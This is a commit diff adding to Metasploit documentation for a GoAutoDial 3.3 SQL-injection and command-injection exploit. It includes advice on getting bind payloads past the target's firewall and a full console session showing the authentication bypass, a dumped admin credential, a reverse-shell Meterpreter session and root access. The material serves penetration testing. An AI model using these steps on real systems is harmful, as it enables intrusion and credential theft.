Skip to content

Commit e3f9595

Browse files
committed
Minor doc update.
1 parent 95ba5d6 commit e3f9595

File tree

1 file changed

+34
-0
lines changed

1 file changed

+34
-0
lines changed

documentation/modules/exploit/linux/http/goautodial_3_rce_code_injection.md

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,8 @@ This module exploits a SQL injection flaw and command injection flaw within GoAu
77
GoAutoDial 3.3 CE (32bit and 64bit) is available for download from goautodial.org. In order to download, register a free account then download the bootable ISOs. Both ISOs have been used for the dev of this. http://goautodial.org/attachments/download/3237/goautodial-32bit-ce-3.3-final.iso.html
88
Refer to: https://www.exploit-db.com/exploits/36807/
99

10+
NOTE: GoAutoDial heavily restricts inbound traffic via iptables rules (and uses fail2ban, as well). This can cause bind payloads to quietly fail. For bind payloads, using ports which allow inbound connections but have no service running is ideal (ports 21 and 222 fall into this category for default GoAutoDial behavior).
11+
1012
## Verification
1113

1214
- Start `msfconsole`
@@ -19,6 +21,8 @@ Refer to: https://www.exploit-db.com/exploits/36807/
1921

2022
## Scenarios
2123

24+
### Targeting 64-bit GoAutoDial
25+
2226
```
2327
msf > use exploit/linux/http/goautodial_3_rce_command_injection
2428
msf exploit(goautodial_3_rce_command_injection) > set rhost 172.16.191.150
@@ -49,3 +53,33 @@ Architecture : x64
4953
Meterpreter : x64/linux
5054
```
5155

56+
### Targeting 32-bit GoAutoDial
57+
```
58+
msf > use exploit/linux/http/goautodial_3_rce_command_injection
59+
msf exploit(goautodial_3_rce_command_injection) > set lhost 10.0.2.4
60+
lhost => 10.0.2.4
61+
msf exploit(goautodial_3_rce_command_injection) > set rhost 10.0.2.44
62+
rhost => 10.0.2.44
63+
msf exploit(goautodial_3_rce_command_injection) > set payload linux/x86/meterpreter/reverse_tcp
64+
payload => linux/x86/meterpreter/reverse_tcp
65+
msf exploit(goautodial_3_rce_command_injection) > run
66+
67+
[*] Started reverse TCP handler on 10.0.2.4:4444
68+
[*] 10.0.2.44:443 - Trying SQL injection...
69+
[+] 10.0.2.44:443 - Authentication Bypass (SQLi) was successful
70+
[*] 10.0.2.44:443 - Dumping admin password...
71+
[+] 10.0.2.44:443 - Found credentials: admin|newpassword|Admin|||Y
72+
[*] 10.0.2.44:443 - Sending payload...
73+
[*] Command Stager progress - 78.66% done (796/1012 bytes)
74+
[*] Sending stage (798104 bytes) to 10.0.2.44
75+
[*] Meterpreter session 1 opened (10.0.2.4:4444 -> 10.0.2.44:49035) at 2017-07-07 15:49:48 -0500
76+
[*] Command Stager progress - 100.00% done (1012/1012 bytes)
77+
78+
meterpreter > getuid
79+
Server username: uid=0, gid=0, euid=0, egid=0
80+
meterpreter > sysinfo
81+
Computer : go.goautodial.org
82+
OS : CentOS 5.10 (Linux 2.6.18-371.11.1.el5)
83+
Architecture : i686
84+
Meterpreter : x86/linux
85+
```

0 commit comments

Comments
 (0)